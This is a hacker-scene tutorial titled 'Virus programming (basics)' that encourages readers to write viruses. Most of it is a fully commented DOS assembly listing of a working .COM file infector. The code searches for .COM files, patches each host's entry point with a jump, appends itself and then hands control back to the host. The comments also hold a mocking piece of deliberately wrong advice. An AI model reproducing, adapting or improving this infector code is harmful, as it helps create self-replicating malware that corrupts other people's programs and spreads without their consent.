Virus programming (basics)
#1...
by
Drako
This section is dedicated to those who would like to write a
virus, but don't have the knowledge to do so. First of all,
writing a virus is no big deal. It is an easy project, but one
which requires some basic programming skills, and the desire to
write a virus! If either of these is missing, writing a virus
would be tedious indeed!.
Well, if you meet these requisites, keep reading this article....
JE READ
JNE FUCK_YOU!
READ:
The survival of a virus is based in its ability to reproduce. "So
how the fuck do I make a program reproduce?", you might ask.
Simple, by getting it to copy itself to other files....
The functional logic of a virus is as follows:
1- Search for a file to infect
2- Open the file to see if it is infected
3- If infected, search for another file
4- Else, infect the file
5- Return control to the host program.
The following is an example of a simple virus:
;****************************************************************
; START OF THE EXAMPLE:
;****************************************************************
;Warning, this example is a (piece of shit?)
; - The virus does not test for prior infection
; - it searches only for the first .COM file in the current
; directory
;
; Careful when executing this file, since the first time it's
; executed it will search for and infect the first file in the
; directory. If we later run the newly infected file, it will find
; the first file in its directory, itself. Thus, it will re-infect
; itself over and over.
;===================CODIGO=======================================
;(The variables in a .COM file are relative to offset 100h).
codigo segment 'code'
org 100h ;Organize all the code starting
; from offset 100h
assume cs:codigo,ds:codigo,es:codigo ;Define the use of the
;segments
start proc far ;Start the routine
COMIENZO:
push cs ;Store CS
push cs ;Store CS
; once again.
pop ds ;Bring DS out from stack
pop es ;Bring ES out from stack
call falso_proc ;Call proc. so that its
; address is placed in the stack
falso_proc proc near
falso_proc endp
pop bp ;BP<== Proc. address.
sub bp, 107h ;BP<== BP - Previous directory
;This is done to take the variables relative to BP, since the
;infection displaces the variables at exactly the length of the
; file. At the first infection, instruction "SUB BP, 107h" is
; 107h, so that the contents of BP is 0; when I call a variable
; with "BP+VARIABLE" the value of the variable's address is not
; modified. When I load it , for example, from a 100h byte
; infected file, the instruction "SUB BP, 107h" leaves me at
; address 207h which means BP=100h, the size of the original file.
; Had I called the variable without adding BP, I would have been
; short by 100h bytes.
;Find the first .COM file in the directory
-----------------------------------------
mov ah, 4eh ;Search for the 1st file
lea dx, bp+file_inf ;DS:DX= offset of FILE_INF
;(*.*) so it will search all
;the files, including directory
;names with extensions.
mov cx, 0000h ;Entry attributes
int 21h
;These attributes mentioned in the commentary are the directory's
; entry attributes. When I set the attributes to 0, I'm telling
; DOS to search normal files. If I include a bit combination which
; provides the Hidden, System or Directory attributes, DOS will
; search for files with those attributes, as well as the normal
; files. If the search range includes the Volume bit, the search
; is limited to that.
;These are the bits which correspond to each attribute:
;Bits: 7 6 5 4 3 2 1 0
; . . . . . . . 1 Bit 0: Read only
; . . . . . . 1 . Bit 1: Hidden
; . . . . . 1 . . Bit 2: System
; . . . . 1 . . . Bit 3: Volume
; . . . 1 . . . . Bit 4: Directory
; . . 1 . . . . . Bit 5: File
;
;Bits 6 and 7 are not used as they are reserved for "future
; applications".
;Open file
;----------------------------------------------------------------
mov ah, 3dh ;Open the file.
mov al, 00000010b ;read/write.
mov dx, 009eh ;DX<== DTA(filename) offset
int 21h ;put the handle in AX
push ax ;and store in stack.
;The attributes I'm setting in AL are not the same as before.
; These are the "open" attributes. We are only interested in the
; first 3 bits,
;bits 2 1 0:
;
; 0 0 0 Read only mode
; 0 0 1 Write only mode
; 0 1 0 Read/Write mode
;
;OK, we now have the file attributes stored in AL. What we now
; need to do is to store in DX the offset of the variable where
; I've stored the ASCIIZ chain with the name of the file to be
; opened. In this case, we don't have a NAME_OF_FILE variable.
; Instead, the name is located in the DTA (Disk Transfer Area). I
; we have it in the DTA...... Why? Simply because when we search
; for a file to infect, all the information we need is returned to
; this memory area. This buffer, if it was not reset, is found in
; the PSP; more precisely, it starts at offset 80h and is 43d bytes
; in size.
;
;The DTA format is as follows:
;
;Offset Bytes Function
; 00h 21d Used by DOS for the 4fh service
; (search for the next file)
; 15h 01d Attributes of the file that's been found
; 16h 02d File time
; 18h 02d File date
; 1Ah 04d File size in bytes
; 1Eh 13d File name in an ASCIIZ chain
; (FILENAME.EXT),0
;
;Well, all that remains to be doe is to give DX the position in
; memory where I've stored the filename: "MOV DX, E1h" and its's
; done. But careful now, remember that DTA starts at offset 80h,
; which means I have to pass to DX the value "80h+1Eh = 9Eh". That
; would than leave "MOV DX, 9Eh"; the problem is solved. Now you
are probably asking yourselves what I mean by "handle". The handle
is a number which tells DOS which file we want. DOS gives us a
handle for each file we open so we have to be careful to have the
correct handle for each file which we read/write.
;Read the first 3 bytes.
-----------------------------------------------------
pop bx ;I take the handle from the
;stack to BX
push bx ;and I store it again.
mov ah, 3fh ;Read file.
mov cx, 0003h ;Read 3 bytes.
lea dx, bp+buffer ;and store in the buffer.
int 21h
INFECTAR: ;(infect)
;Move pointer to the start.
---------------------------------------------------
mov ax, 4200h ;I move the write pointer
;to the beginning of the program
mov cx, 0000h
mov dx, 0000h
int 21h
;The pointer's displacement, relative to the position of the
; pointer as specified in AL, is placed in CX and DX.
; Pointer displacement modes set in AL:
; AL <== 00 Move pointer to the beginning of the file.
; AL <== 01 leave pointer where it is.
; AL <== 02 Move pointer to end-of-file.
;Write the first byte (jmp)
-------------------------------------------------
mov ah, 40h ;write the first byte.
mov cx, 1d ;Quantity=1.
lea dx, bp+jump ;DX<== JUMP offset
int 21h
;(Here we still need the handle, but we don't need to set it again
; because the register which contained the information was not
; modified.
;
;The first byte to be written is a JUMP instruction (the symbol for
; the jump is below). What follows the jump is the address of the
; jump, file-length + 1. (test the "+ 1" thoroughly, since this
; can cause problems; if so, multiply by 18 or subtract 23.)
; Hehehehe.
;Since the entire virus code is copied at the end of the file, the
; jump gives the virus control in an infected file.
;Calculating file length
-------------------------------------------------
mov cx, 2 ;Copy 2 bytes.
mov si, 009ah ;SI<== DTA offset
lea di, bp+longitud ;DI<== File LENGTH offset.
rep movsb ;Copy.
;This instruction must have the 'SOURCE' buffer address in DS:SI
; and the address where the string will be copied in ES:DI (in this
; case, I copy the file length of the DTA to the variable
; 'LONGITUD').
sub word ptr [bp+longitud], 3 ;subtract 3 bytes from
;[LONGITUD]
;The JMP is completed
--------------------------------------
mov ah, 40h ;Write.
mov cx, 2d ;Number of bytes.
lea dx, bp+longitud ;DX<== LONGITUD (length)
; offset
int 21h
;Move pointer to end
-------------------------------------------------------
mov ax, 4202h ;Move the write pointer to the
;end of the program.
mov cx, 0000h
mov dx, 0000h
int 21h
add word ptr [bp+longitud],3 ;Restore LONGITUD.
;Copy the virus to the program.
---------------------------------------------------
pop bx ;Restore the handle.
mov ah, 40h
mov cx, 190d ;number of bytes to copy.
lea dx, bp+comienzo ;Start copying from....
int 21h
;Close the file after infection
------------------------------------
mov ah, 3eh ;Close file.
int 21h
;Here, too, we need in DS:DX the address of the buffer which
; contains the filename string, but in this case DS and DX already
; contain those values from before.
NO_INFECTAR:
;==================RETURN CONTROL TO THE HOST=====================
;Copy the buffer which contains the first 3 bytes of the file into
; memory.
------------------
mov cx, 0003h ;Number of bytes (3).
mov di, 0100h ;DI<== offset 100h. Beginning of the
;program in memory.
lea si, bp+buffer ;SI<== BUFFER offset
rep movsb ;Copy.
;What we are doing here is to "fix" the file, since when it was
; infected, the first few bytes are overwritten by the virus. That
; is why we reconstruct the file to its original state, by copying
; the first 3 bytes, which we had stored earlier, into memory.
;Jump to offset 100h
--------------------------------------------------------
mov ax, 0100h ;Address needed to execute the host
jmp ax
;As we mentioned before, in .COM files the executable code begins
; at offset 100h. The information found between 00h and 100h is
; program data, like the DTA for example.
;The main difference between a .COM file and an .EXE is that a .COM
; cannot occupy more than one memory segment, or 65535 bytes.
; .EXEs can, because DOS can 'tailor' them to fit into a number of
; different segments. Unlike.EXE files. .COM files are faithful
; reproductions of the contents of memory.
;====================DATA AREA===================================
buffer db 7d dup(0)
longitud db 2 dup(0)
file_inf db '*.COM',0
jump db 'é',0 ;<----jump ascii
;(The character '0' is the end of the ASCIIZ string)
start endp ;End of main procedure
codigo ends ;end of code segment
end comienzo ;END. Go to COMIENZO
;****************************************************************
; END OF EXAMPLE
;****************************************************************
Drako.